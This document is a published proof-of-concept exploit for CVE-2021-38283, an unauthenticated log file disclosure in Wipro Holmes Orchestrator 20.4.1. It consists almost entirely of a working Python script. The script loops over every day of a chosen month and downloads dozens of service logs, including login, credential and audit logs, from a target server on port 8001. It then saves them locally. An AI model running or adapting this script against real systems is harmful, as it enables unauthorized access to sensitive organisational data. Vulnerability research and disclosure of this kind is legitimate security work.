Wipro Holmes Orchestrator 20.4.1 File Disclosure

`# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure  
# Date: 09/08/2021  
# Exploit Author: Rizal Muhammed @ub3rsick  
# Vendor Homepage: https://www.wipro.com/holmes/  
# Version: 20.4.1  
# Tested on: Windows 10 x64  
# CVE : CVE-2021-38283  
  
import requests as rq  
import argparse  
import datetime  
import os  
from calendar import monthrange  
from multiprocessing.dummy import Pool as ThreadPool  
from functools import partial  
  
# Change if running on different port  
port = 8001  
  
log_list = [  
"AlertService.txt",  
"ApprovalService.txt",  
"AuditService.txt",  
"CustomerController.txt",  
"CustomerDomainCredentialService.txt",  
"CustomerFileService.txt",  
"CustomerService.txt",  
"DashboardController.txt",  
"DataParseService.txt",  
"DomainService.txt",  
"ExecutionService.txt",  
"ExternalAPIService.txt",  
"FilesController.txt",  
"FormService.txt",  
"InfrastructureService.txt",  
"ITSMConfigPrepService.txt",  
"LicenseService.txt",  
"LoginService.txt",  
"MailService.txt",  
"MasterdataController.txt",  
"NetworkService.txt",  
"OrchestrationPreparationService.txt",  
"ProblemInfrastructureService.txt",  
"ProcessExecutionService.txt",  
"ServiceRequestService.txt",  
"SolutionController.txt",  
"SolutionLiveService.txt",  
"SolutionService.txt",  
"StorageService.txt",  
"TaskService.txt",  
"TicketingService.txt",  
"UserController.txt",  
"UtilityService.txt"  
  
]  
  
def check_month(val):  
ival = int(val)  
if ival > 0 and ival < 13:  
return ival  
else:  
raise argparse.ArgumentTypeError("%s is not a valid month" % val)  
  
def check_year(val):  
iyear = int(val)  
if iyear >= 1960 and iyear <= datetime.date.today().year:  
return iyear  
else:  
raise argparse.ArgumentTypeError("%s is not a valid year" % val)  
  
  
def do_request(target, date, log_file):  
log_url = "http://%s/log/%s/%s" % (target, date, log_file)  
  
log_name = "%s_%s" % (date, log_file)  
print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))  
  
resp = rq.get(log_url)  
  
if resp.status_code == 200 and not "Wipro Ltd." in resp.text:  
print ("[+] Success : %s" % log_url)  
#print (resp.text[0:150] + "\n<...snipped...>")  
with open("logs/%s" % log_name, 'w') as lf:  
lf.write(resp.text)  
lf.close()  
print ("[*] Log File Written to ./logs/%s" % (log_name))  
  
def main():  
  
parser = argparse.ArgumentParser(  
description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",  
epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"  
)  
  
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)  
parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)  
parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)  
args = parser.parse_args()  
  
ndays = monthrange(args.year, args.month)[1]  
date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]  
  
target = "%s:%s" % (args.target_ip, port)  
  
# create folder "logs" to save log files, if does not exist  
if not os.path.exists("./logs"):  
os.makedirs("./logs")  
  
for log_date in date_list:  
for log_file in log_list:  
do_request(target, log_date, log_file)  
  
if __name__ == "__main__":  
main()  
`